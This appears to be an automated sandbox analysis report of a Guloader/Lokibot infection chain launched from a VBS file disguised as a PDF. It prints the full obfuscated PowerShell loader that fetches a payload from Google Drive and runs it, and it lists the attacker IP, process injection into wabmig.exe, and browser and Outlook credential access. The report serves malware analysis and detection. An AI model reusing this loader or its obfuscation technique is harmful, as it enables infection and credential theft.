eStege.SystucOversoP,rmemSvuls/ BloduApparcLin e?A opeeSchtixOr,efpInstro U flr B,ldtMogot= GrundPlastono.fow da anA.thrlTiljuoS.mora .enndUpflu&Pomo i Tem.dUnm v=Insid1 ntelASvajeRPre oF P stM WhitqRurergT.lriQHo ca9,roemHSmergy oghamChampLRi gepFolebwVrget2HolocXSemesoProjeiTriksFfriedgRhodag conc4Befol4ChronfDupliTTrkl,bS,lteWPrfa,Z Hovey Non NSqui,KRer gOUbeta ';$Nitrosite=Bevandret 'Besti>Su.er ';$Locusting144=Bevandret 'concriEnd ce C,keXGenkb ';$Abdicator='Suldans';$Dicatalectic = Bevandret 'TransePrdikc olamh lleoAbbey Refri%Beaveahaglbp,rayep Ringd algbaE foltDesina acht%Uns,m\Bev sNp rtmo,axonnAftrka RosepKv,lioD,spisMi jttImmunaMedlet Tridi .otlzCo iciFindynPengeg Tress Yabu.AbstrN muraosest,nSkr,e Unma&Glott&Rugni Reduce ominc reskh Resho Fy r Ki kutUlpmi ';Levir (Bevandret 'Palat$RichegGidsel rffeoMinerb ,evoaAstralampel:AntisEA.hopn F.nej O deeUdvidtMoti,=Stili(B rikcBrasem PremdVerni Skbn./ ThebcEvang Agram$DowdiDPrepri rbejcK,leraGrovdtAnsttaEk.emlBir heAttlecHusmnt Tyr iInvescUn og) Ungk ');Levir (Bevandret ' Spu $Ild bgPitomlBefrioE ersbKlim,aM jeml Maal:Do keW Supre AutoeGa sskTiltae .aanndaugad magfGreylr rkrei P ectpervi=Forrd$t murKUo.fir mangoSuf.opAltersOpsnasIn,erpattr rnondeoUdeergEnmes.pr grs FastpLufttlPern iBuf etA.tma( kole$ChimnNHovedi GenetAutomr BrunoSteddsInfigiTanket Ca.aeCache)Unhou ');Levir (Bevandret 'Res r[Bi elNA dele HjertBalli.Kol,kSVa uuecammerKnavevSp oni Stalct ange JamaP St xoEnfeti JernnInkakt DramMHvil.a milin orsyaUnderg MinieTegnerStrit] Stro:Barre:IntenSkapnieSprric aturuF rber Ski,iOverctLeucoyDamn PEksperNitroo SysttKedeloFeriecAutokoKoksel unk Juri =.heat Eriks[ Slv.NCentreAnmastDem r. ReinS DroseOmkrscHologuFlipdrElmaaiLimnotB achyNevscPopsenrDaakao echyt F.broTeroscBoligoCau.alPo luTIndbyy Non pAmoebeKlie ]Fi it:Inval: tatuTParahlTriumsForbe1Perit2Makro ');$Kropssprog=$Weekendfrit[0];$undrunken= (Bevandret 'Unwat$tamp gTe.delTutteOYoungBkogepavok.elEa th:Raakah oldsA BagdV SpalB Ril iT sseODistol KamcoUndvigConstIFo,ktS,eassK M ds=Ap ean jeneE NutswS.ole-FraskoMicroBYrk rJShamoEDek pcFjodoTSuper ZippSJok sYKos.esRev et AbioERastpmMass . Retrn L ukEBedewt Trau.CrucewFodnoECongobSabziCtilkaL LectiT dimEtertuNTermot');$undrunken+=$Enjet[1];Levir ($undrunken);Levir (Bevandret 'Stern$Jarl h AnegaKvartvDicerbSolceiCi,cuoBegunl lhexoBoratgImmigiSalifsOu pekPukke.Amal H TeeteChitta KlosdUnwateDragsropl tsFo sk[Const$ForbrCBindia inintLseneePicayrSour iLi nin .otag nitlSandca ensrRedemiRomeroKruge]Toler= ravi$De,tiM RdstaOve et ChlosSa.me ');$Evese=Bevandret 'Lice $Langehbaan a BearvFag obNephriReconoMatril Proco Re ngLifeliSkihesTryghkIndep.InterDChelooUlejlw B.rnn BelalCapsuosold aGuttid Uni FFiguri Gi.pl PrteeAnfly(E,ten$AcadeKCompur alpeoDend.punfrusIndspsPresip evor AntnoTran g Svan,Sreje$ pulsMTungsu Kludl rkaitC,poniAto adAf,tie,xidanForlyosulphmC,anciNodu,nPhiloast,tutElysiiSmothoPsit n Turia ylonlDetin)Solmi ';$Multidenominational=$Enjet[0];Levir (Bevandret 'Forre$ PartgKatatlU.whiOEpitoBPokeraPayabLC pta:Anta DGrumsaAsla RAcmatTSgneda verhg vedN as,rAParlanAuton= Py.i(Gr.viTSigbeEPetrosCortitBortk-Arbejpfis eA ijuTLdaasHSy os Disce$K.nvoMSysilUMyxopLm.terthead IsockmDKakotERin nNGrafiO virkmSixtyI Amb nfremkaIdriftKostpiDestaOHose nNymphaAnhngLFlipp)De kl ');while (!$Dartagnan) {Levir (Bevandret 'Annui$Ting,gUnfrul Dul o KludbMlle a Fejll ch m:pr.toSOpfathTus haI.dusbSubmoaBiggesFabulhNnsom=Malor$B efotExilirPs uduS aireIse k ') ;Levir $Evese;Levir (Bevandret 'FljetSDgnratScollaC arkr tifttPa,ag-RaglaSToccal RkeneBandledosimp ini gow s4Skyde ');Levir (Bevandret 'Brisk$ Progg partlBilleoVikinbSkakta ThrulSnnek:NaragD Smrsa CoedrN,ncotS tsfadiffugAc.din ChetaAratinSoffi=Tab n( StriTFrstee atsusVidertEkspo-Fori PRepreaBver.tGloheh O.di Askeb$ SkjoMS,akkuAnklalVanditslimiiDentidGa.rne IntenNegleo raemDealliOve rnPseudaSagsbt ensliAncisoMinkinAfln aUnedgl redi)Wh op ') ;Levir (Bevandret 'Net.p$ RivugF brilPostuo Fregbls.laaLivs,l Inde:Hy erDInduseColornln,ero IsoltK rkea OvertPapi u HolimS pho= Unde$PopligBags lresero nticbOlde aGrundlDad i: ClapOGandhpJ,lpapSkriviDr abdMateraTusinnTumpfs Swim+Overh+fodbo%Urteg$TrompWFibrie melleFigurkfoxlieUndernTumtudTinpefSuperrSwankiTiddytVenli.A,klac xpanoCes ku ItainSmrebtInco. ') ;$Kropssprog=$Weekendfrit[$Denotatum];}$Antisiphon47=335402;$filnumre=29061;Levir (Bevandret 'Slutn$Telefg RaadlStenkoSeignb PostaPosnilSpred: enelOSkraavUneneeElevrrForsnmUdle,iLinielNonchiDiagntJu,ioaAweatrDisiliV rucs welltE,ageiPrdikcUnrec ,ucc= Betj MasocGPreboeBevrttTangn-hetaeCCarsmoEpiton ,ncotHypereForton U detLderr Papel$HulkiMCanosuhaandlKissmtMezzoiDollmdPhonae allunRefo o A chmFriv i ubcanSubspaFle btfaksiiSmittoSightnE genaCommel ilte ');Levir (Bevandret 'Cuboi$Em.owgInadhl SulfoPrimrb Han aCog,ol Loft:PumpeSArbejpTr ruoPacetrHieraiinvolnGradag nbros,kibssProprt HurwaAnnult Co tiBes,ooInfilnUns,neMotorrslang C,rtw=,ntra Hyper[Blu.bSDiscryCatvusHobhotLuxu,eTilr m For .OstecCLinieoudspenvolosvLid,aeProlirUdvirtSkopu]Statu:aarti: KronFWernar Dento Co am JustB ChecaMeje,sggeble Fung6Eolop4ant cSsporvtGeleer.emini Un dnAvertg Cita( rick$EternONdkskvdisc e BombrHuggem Bin,iHors lPerfeiOplystGalataContrr OrlaiN,npasOver tHebdoiUndescRepro) ouce ');Levir (Bevandret 'budd $TappegJ ddyl SecuoForsgb T blaNrofflFract: toppOHushouTetantRegnesPatrutOverhiSl,ernFummmgDe.ar H.rod=Iron, Bakk[ bro.S MarcyPerpesSwirrtPanameSpatim Regn.T,adeT ArbeePins xFlagstInter.HypsiE SjllnAgen.c SkrvocarvodJe.emiFranknUnsa gDatao]Advar:Rifle:Des gAPolysSH emsCKiltiI ydskIHalvr.RasteGFngseePe titAnimiS Plait pildrS ormiReimanEfte gKonc.(Wh el$Anti,SCoho,pPropro TonirAut riCoynunFrilagMindls.ullas DeprtGut ia C stt UdmniAn.eloSlappnperfeeTicktrStats) lvsm ');Levir (Bevandret ' Fler$Unbrugfl,xilOutgroFla sb,arbeaUnl,nlFlus :PleocHDestieInde rNeutraAndelu aselsO,erm= Ov.r$CisteONyerhu Warft asersUna,ftScarciF tidn janigRyge .Kiti scoop.uTrkerb uarsPo,tct nmagr,artii Nonsn ShahgSkval( K va$,erisA IngunStenotGudmdisubtlsS mmeiAr,anpNedruhReageo ndernthyr.4 lect7Uncov, Halv$HousefDer,ni annlAr,ognReassuAutormAntenr regneTarif)Ca ak ');Levir $Heraus;"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Nonapostatizings.Non && echo t"

C:\Program Files (x86)\windows mail\wabmig.exe

"C:\Program Files (x86)\windows mail\wabmig.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 drive.google.com udp
GB 216.58.201.110:443 drive.google.com tcp
US 8.8.8.8:53 drive.usercontent.google.com udp
GB 142.250.179.225:443 drive.usercontent.google.com tcp
GB 216.58.201.110:443 drive.google.com tcp
US 8.8.8.8:53 c.pki.goog udp
GB 142.250.179.227:80 c.pki.goog tcp
US 8.8.8.8:53 o.pki.goog udp
GB 142.250.179.227:80 o.pki.goog tcp
GB 142.250.179.225:443 drive.usercontent.google.com tcp
US 137.184.191.215:80 137.184.191.215 tcp
US 137.184.191.215:80 137.184.191.215 tcp
US 137.184.191.215:80 137.184.191.215 tcp
US 8.8.8.8:53 crl.microsoft.com udp
GB 2.18.190.80:80 crl.microsoft.com tcp
US 8.8.8.8:53 www.microsoft.com udp
GB 95.100.245.144:80 www.microsoft.com tcp
US 137.184.191.215:80 137.184.191.215 tcp

Files

memory/2372-4-0x000007FEF62EE000-0x000007FEF62EF000-memory.dmp

memory/2372-5-0x000000001B640000-0x000000001B922000-memory.dmp

memory/2372-6-0x0000000002920000-0x0000000002928000-memory.dmp

memory/2372-7-0x000007FEF6030000-0x000007FEF69CD000-memory.dmp

memory/2372-8-0x000007FEF6030000-0x000007FEF69CD000-memory.dmp

memory/2372-9-0x000007FEF6030000-0x000007FEF69CD000-memory.dmp

memory/2372-10-0x000007FEF6030000-0x000007FEF69CD000-memory.dmp

memory/2372-11-0x000007FEF6030000-0x000007FEF69CD000-memory.dmp

memory/2372-13-0x000007FEF62EE000-0x000007FEF62EF000-memory.dmp

memory/2372-14-0x000007FEF6030000-0x000007FEF69CD000-memory.dmp

memory/2372-15-0x000007FEF6030000-0x000007FEF69CD000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\PUF2IIM5QA1GIQ7XEJ8X.temp

MD5 1fd55106946f7f722811dd2cecf2c6d1
SHA1 5a986aa14f26d51ab9852c9ba428dc2c492832a9
SHA256 409215b99ef67bd47fd5753af6075a6a13976cf57b872f10ab827dd47a740c46
SHA512 31140a6bfbb1c96f987381d73b347a935ab95ceb83bfe65de08e50307323490e5401f369a847341fa796f3bdf07064875fec4a99b417969ceb9f26c79cecdfe9

C:\Users\Admin\AppData\Roaming\Nonapostatizings.Non

MD5 762077e498d7a658ee381fcfaf25d060
SHA1 26410bd382fe84fedeec847889e22f4bb1964931
SHA256 7fa884749148a539e45b787679fe8524daf7f7d8c4c4db6207a60932ab7e7a79
SHA512 60aff6624dca974f03fb57b78408f2505fd2878cbaeaf9a05a434344984c7c373424e3bb30f90db7c800f56100b7bc3cb316b57d3128266accdfbb3a0a2a1c76

memory/2572-20-0x0000000006660000-0x0000000008BE3000-memory.dmp

memory/2944-21-0x0000000000590000-0x0000000002B13000-memory.dmp

memory/2944-42-0x0000000000590000-0x0000000002B13000-memory.dmp

memory/2372-43-0x000007FEF6030000-0x000007FEF69CD000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3551809350-4263495960-1443967649-1000\0f5007522459c86e95ffcc62f32308f1_5a410d66-f84f-4a6b-9b29-3982febe58d9

MD5 d898504a722bff1524134c6ab6a5eaa5
SHA1 e0fdc90c2ca2a0219c99d2758e68c18875a3e11e
SHA256 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9
SHA512 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3551809350-4263495960-1443967649-1000\0f5007522459c86e95ffcc62f32308f1_5a410d66-f84f-4a6b-9b29-3982febe58d9

MD5 c07225d4e7d01d31042965f048728a0a
SHA1 69d70b340fd9f44c89adb9a2278df84faa9906b7
SHA256 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a
SHA512 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

Analysis: behavioral2

Detonation Overview

Submitted

2024-09-16 14:12

Reported

2024-09-16 14:14

Platform

win10v2004-20240910-en

Max time kernel

143s

Max time network

142s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Document BT24·pdf.vbs"

Signatures

Guloader,Cloudeye

downloader guloader

Lokibot

trojan spyware stealer lokibot

Credentials from Password Stores: Credentials from Web Browsers

credential_access stealer

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\Control Panel\International\Geo\Nation C:\Windows\System32\WScript.exe N/A

Accesses Microsoft Outlook profiles

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Program Files (x86)\windows mail\wabmig.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook C:\Program Files (x86)\windows mail\wabmig.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook C:\Program Files (x86)\windows mail\wabmig.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A drive.google.com N/A N/A
N/A drive.google.com N/A N/A
N/A drive.google.com N/A N/A

Suspicious use of NtCreateThreadExHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\windows mail\wabmig.exe N/A
N/A N/A C:\Program Files (x86)\windows mail\wabmig.exe N/A

Suspicious use of NtSetInformationThreadHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Program Files (x86)\windows mail\wabmig.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 628 set thread context of 4048 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wabmig.exe

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\windows mail\wabmig.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files (x86)\windows mail\wabmig.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2504 wrote to memory of 5096 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2504 wrote to memory of 5096 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 5096 wrote to memory of 1864 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 5096 wrote to memory of 1864 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 5096 wrote to memory of 5072 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 5096 wrote to memory of 5072 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 5072 wrote to memory of 628 N/A C:\Windows\system32\cmd.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 5072 wrote to memory of 628 N/A C:\Windows\system32\cmd.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 5072 wrote to memory of 628 N/A C:\Windows\system32\cmd.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 628 wrote to memory of 1608 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 628 wrote to memory of 1608 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 628 wrote to memory of 1608 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 628 wrote to memory of 4048 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wabmig.exe
PID 628 wrote to memory of 4048 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wabmig.exe
PID 628 wrote to memory of 4048 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wabmig.exe
PID 628 wrote to memory of 4048 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wabmig.exe
PID 628 wrote to memory of 4048 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wabmig.exe

outlook_office_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook C:\Program Files (x86)\windows mail\wabmig.exe N/A

outlook_win_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Program Files (x86)\windows mail\wabmig.exe N/A

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Document BT24·pdf.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Undeductible Erklrende Scrutinising #>;$Unidigitate='Paggle';<#Gennemsnitslager Blegeste parasolette Bankrolling Pullman #>;$Lyophile=$host.PrivateData;If ($Lyophile) {$Fichuet++;}function Bevandret($Chay){$Akkordeoner10=$Chay.Length-$Fichuet;for( $Catering=5;$Catering -lt $Akkordeoner10;$Catering+=6){$Sortbrshandel228+=$Chay[$Catering];}$Sortbrshandel228;}function Levir($Circumtonsillar){ & ($Locusting144) ($Circumtonsillar);}$Mats=Bevandret 'PressMGaussoSvajrzIstaniSpra,lFlenslBenziaDokt /Ar.he5Sub r. Zuri0Akk r .dgi(Expr Wg naaiAlsacnDecimdCatasoOctadw equis Trai SeedN TegnT inis Desti1 Comb0Epige.Model0 Flat;Cant exanW P epiaristnOv,rs6Gru,d4Porse;Sturt AfgifxTilt 6Cling4,isto;legis McginrAssigvVapor:Aldol1Frogl2Zardm1Doven.kae l0Dob e)Efter PolyGUnipeeCrowncBlis,kNapifoListe/ Half2 Sy e0Prepe1,pina0 riss0Amtsg1Ala k0Smelt1d.mme Beti,Fe anaiDob.erTilsieMontrfMultiolns.ix Poe./Hipp,1Tilba2 Bele1 Reco.Unnom0Forte ';$Cateringlario=Bevandret 'K.svauo.erasPalpeEVess.RAbort-FrdigAbagsigTmmereAlminn Pa tterhve ';$Kropssprog=Bevandret 'Frimrh,lokkt odeltEmulspAc,uis inde: Ska./Stigr/HereddImarer Re uiTuffev odbe Bind.tovnigGuateoU faroParkegInterlbund eStege.SystucOversoP,rmemSvuls/ BloduApparcLin e?A opeeSchtixOr,efpInstro U flr B,ldtMogot= GrundPlastono.fow da anA.thrlTiljuoS.mora .enndUpflu&Pomo i Tem.dUnm v=Insid1 ntelASvajeRPre oF P stM WhitqRurergT.lriQHo ca9,roemHSmergy oghamChampLRi gepFolebwVrget2HolocXSemesoProjeiTriksFfriedgRhodag conc4Befol4ChronfDupliTTrkl,bS,lteWPrfa,Z Hovey Non NSqui,KRer gOUbeta ';$Nitrosite=Bevandret 'Besti>Su.er ';$Locusting144=Bevandret 'concriEnd ce C,keXGenkb ';$Abdicator='Suldans';$Dicatalectic = Bevandret 'TransePrdikc olamh lleoAbbey Refri%Beaveahaglbp,rayep Ringd algbaE foltDesina acht%Uns,m\Bev sNp rtmo,axonnAftrka RosepKv,lioD,spisMi jttImmunaMedlet Tridi .otlzCo iciFindynPengeg Tress Yabu.AbstrN muraosest,nSkr,e Unma&Glott&Rugni Reduce ominc reskh Resho Fy r Ki kutUlpmi ';Levir (Bevandret 'Palat$RichegGidsel rffeoMinerb ,evoaAstralampel:AntisEA.hopn F.nej O deeUdvidtMoti,=Stili(B rikcBrasem PremdVerni Skbn./ ThebcEvang Agram$DowdiDPrepri rbejcK,leraGrovdtAnsttaEk.emlBir heAttlecHusmnt Tyr iInvescUn og) Ungk ');Levir (Bevandret ' Spu $Ild bgPitomlBefrioE ersbKlim,aM jeml Maal:Do keW Supre AutoeGa sskTiltae .aanndaugad magfGreylr rkrei P ectpervi=Forrd$t murKUo.fir mangoSuf.opAltersOpsnasIn,erpattr rnondeoUdeergEnmes.pr grs FastpLufttlPern iBuf etA.tma( kole$ChimnNHovedi GenetAutomr BrunoSteddsInfigiTanket Ca.aeCache)Unhou ');Levir (Bevandret 'Res r[Bi elNA dele HjertBalli.Kol,kSVa uuecammerKnavevSp oni Stalct ange JamaP St xoEnfeti JernnInkakt DramMHvil.a milin orsyaUnderg MinieTegnerStrit] Stro:Barre:IntenSkapnieSprric aturuF rber Ski,iOverctLeucoyDamn PEksperNitroo SysttKedeloFeriecAutokoKoksel unk Juri =.heat Eriks[ Slv.NCentreAnmastDem r. ReinS DroseOmkrscHologuFlipdrElmaaiLimnotB achyNevscPopsenrDaakao echyt F.broTeroscBoligoCau.alPo luTIndbyy Non pAmoebeKlie ]Fi it:Inval: tatuTParahlTriumsForbe1Perit2Makro ');$Kropssprog=$Weekendfrit[0];$undrunken= (Bevandret 'Unwat$tamp gTe.delTutteOYoungBkogepavok.elEa th:Raakah oldsA BagdV SpalB Ril iT sseODistol KamcoUndvigConstIFo,ktS,eassK M ds=Ap ean jeneE NutswS.ole-FraskoMicroBYrk rJShamoEDek pcFjodoTSuper ZippSJok sYKos.esRev et AbioERastpmMass . Retrn L ukEBedewt Trau.CrucewFodnoECongobSabziCtilkaL LectiT dimEtertuNTermot');$undrunken+=$Enjet[1];Levir ($undrunken);Levir (Bevandret 'Stern$Jarl h AnegaKvartvDicerbSolceiCi,cuoBegunl lhexoBoratgImmigiSalifsOu pekPukke.Amal H TeeteChitta KlosdUnwateDragsropl tsFo sk[Const$ForbrCBindia inintLseneePicayrSour iLi nin .otag nitlSandca ensrRedemiRomeroKruge]Toler= ravi$De,tiM RdstaOve et ChlosSa.me ');$Evese=Bevandret 'Lice $Langehbaan a BearvFag obNephriReconoMatril Proco Re ngLifeliSkihesTryghkIndep.InterDChelooUlejlw B.rnn BelalCapsuosold aGuttid Uni FFiguri Gi.pl PrteeAnfly(E,ten$AcadeKCompur alpeoDend.punfrusIndspsPresip evor AntnoTran g Svan,Sreje$ pulsMTungsu Kludl rkaitC,poniAto adAf,tie,xidanForlyosulphmC,anciNodu,nPhiloast,tutElysiiSmothoPsit n Turia ylonlDetin)Solmi ';$Multidenominational=$Enjet[0];Levir (Bevandret 'Forre$ PartgKatatlU.whiOEpitoBPokeraPayabLC pta:Anta DGrumsaAsla RAcmatTSgneda verhg vedN as,rAParlanAuton= Py.i(Gr.viTSigbeEPetrosCortitBortk-Arbejpfis eA ijuTLdaasHSy os Disce$K.nvoMSysilUMyxopLm.terthead IsockmDKakotERin nNGrafiO virkmSixtyI Amb nfremkaIdriftKostpiDestaOHose nNymphaAnhngLFlipp)De kl ');while (!$Dartagnan) {Levir (Bevandret 'Annui$Ting,gUnfrul Dul o KludbMlle a Fejll ch m:pr.toSOpfathTus haI.dusbSubmoaBiggesFabulhNnsom=Malor$B efotExilirPs uduS aireIse k ') ;Levir $Evese;Levir (Bevandret 'FljetSDgnratScollaC arkr tifttPa,ag-RaglaSToccal RkeneBandledosimp ini gow s4Skyde ');Levir (Bevandret 'Brisk$ Progg partlBilleoVikinbSkakta ThrulSnnek:NaragD Smrsa CoedrN,ncotS tsfadiffugAc.din ChetaAratinSoffi=Tab n( StriTFrstee atsusVidertEkspo-Fori PRepreaBver.tGloheh O.di Askeb$ SkjoMS,akkuAnklalVanditslimiiDentidGa.rne IntenNegleo raemDealliOve rnPseudaSagsbt ensliAncisoMinkinAfln aUnedgl redi)Wh op ') ;Levir (Bevandret 'Net.p$ RivugF brilPostuo Fregbls.laaLivs,l Inde:Hy erDInduseColornln,ero IsoltK rkea OvertPapi u HolimS pho= Unde$PopligBags lresero nticbOlde aGrundlDad i: ClapOGandhpJ,lpapSkriviDr abdMateraTusinnTumpfs Swim+Overh+fodbo%Urteg$TrompWFibrie melleFigurkfoxlieUndernTumtudTinpefSuperrSwankiTiddytVenli.A,klac xpanoCes ku ItainSmrebtInco. ') ;$Kropssprog=$Weekendfrit[$Denotatum];}$Antisiphon47=335402;$filnumre=29061;Levir (Bevandret 'Slutn$Telefg RaadlStenkoSeignb PostaPosnilSpred: enelOSkraavUneneeElevrrForsnmUdle,iLinielNonchiDiagntJu,ioaAweatrDisiliV rucs welltE,ageiPrdikcUnrec ,ucc= Betj MasocGPreboeBevrttTangn-hetaeCCarsmoEpiton ,ncotHypereForton U detLderr Papel$HulkiMCanosuhaandlKissmtMezzoiDollmdPhonae allunRefo o A chmFriv i ubcanSubspaFle btfaksiiSmittoSightnE genaCommel ilte ');Levir (Bevandret 'Cuboi$Em.owgInadhl SulfoPrimrb Han aCog,ol Loft:PumpeSArbejpTr ruoPacetrHieraiinvolnGradag nbros,kibssProprt HurwaAnnult Co tiBes,ooInfilnUns,neMotorrslang C,rtw=,ntra Hyper[Blu.bSDiscryCatvusHobhotLuxu,eTilr m For .OstecCLinieoudspenvolosvLid,aeProlirUdvirtSkopu]Statu:aarti: KronFWernar Dento Co am JustB ChecaMeje,sggeble Fung6Eolop4ant cSsporvtGeleer.emini Un dnAvertg Cita( rick$EternONdkskvdisc e BombrHuggem Bin,iHors lPerfeiOplystGalataContrr OrlaiN,npasOver tHebdoiUndescRepro) ouce ');Levir (Bevandret 'budd $TappegJ ddyl SecuoForsgb T blaNrofflFract: toppOHushouTetantRegnesPatrutOverhiSl,ernFummmgDe.ar H.rod=Iron, Bakk[ bro.S MarcyPerpesSwirrtPanameSpatim Regn.T,adeT ArbeePins xFlagstInter.HypsiE SjllnAgen.c SkrvocarvodJe.emiFranknUnsa gDatao]Advar:Rifle:Des gAPolysSH emsCKiltiI ydskIHalvr.RasteGFngseePe titAnimiS Plait pildrS ormiReimanEfte gKonc.(Wh el$Anti,SCoho,pPropro TonirAut riCoynunFrilagMindls.ullas DeprtGut ia C stt UdmniAn.eloSlappnperfeeTicktrStats) lvsm ');Levir (Bevandret ' Fler$Unbrugfl,xilOutgroFla sb,arbeaUnl,nlFlus :PleocHDestieInde rNeutraAndelu aselsO,erm= Ov.r$CisteONyerhu Warft asersUna,ftScarciF tidn janigRyge .Kiti scoop.uTrkerb uarsPo,tct nmagr,artii Nonsn ShahgSkval( K va$,erisA IngunStenotGudmdisubtlsS mmeiAr,anpNedruhReageo ndernthyr.4 lect7Uncov, Halv$HousefDer,ni annlAr,ognReassuAutormAntenr regneTarif)Ca ak ');Levir $Heraus;"

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Nonapostatizings.Non && echo t"

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c ^"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe^" "<#Undeductible Erklrende Scrutinising #>;$Unidigitate='Paggle';<#Gennemsnitslager Blegeste parasolette Bankrolling Pullman #>;$Lyophile=$host.PrivateData;If ($Lyophile) {$Fichuet++;}function Bevandret($Chay){$Akkordeoner10=$Chay.Length-$Fichuet;for( $Catering=5;$Catering -lt $Akkordeoner10;$Catering+=6){$Sortbrshandel228+=$Chay[$Catering];}$Sortbrshandel228;}function Levir($Circumtonsillar){ & ($Locusting144) ($Circumtonsillar);}$Mats=Bevandret 'PressMGaussoSvajrzIstaniSpra,lFlenslBenziaDokt /Ar.he5Sub r. Zuri0Akk r .dgi(Expr Wg naaiAlsacnDecimdCatasoOctadw equis Trai SeedN TegnT inis Desti1 Comb0Epige.Model0 Flat;Cant exanW P epiaristnOv,rs6Gru,d4Porse;Sturt AfgifxTilt 6Cling4,isto;legis McginrAssigvVapor:Aldol1Frogl2Zardm1Doven.kae l0Dob e)Efter PolyGUnipeeCrowncBlis,kNapifoListe/ Half2 Sy e0Prepe1,pina0 riss0Amtsg1Ala k0Smelt1d.mme Beti,Fe anaiDob.erTilsieMontrfMultiolns.ix Poe./Hipp,1Tilba2 Bele1 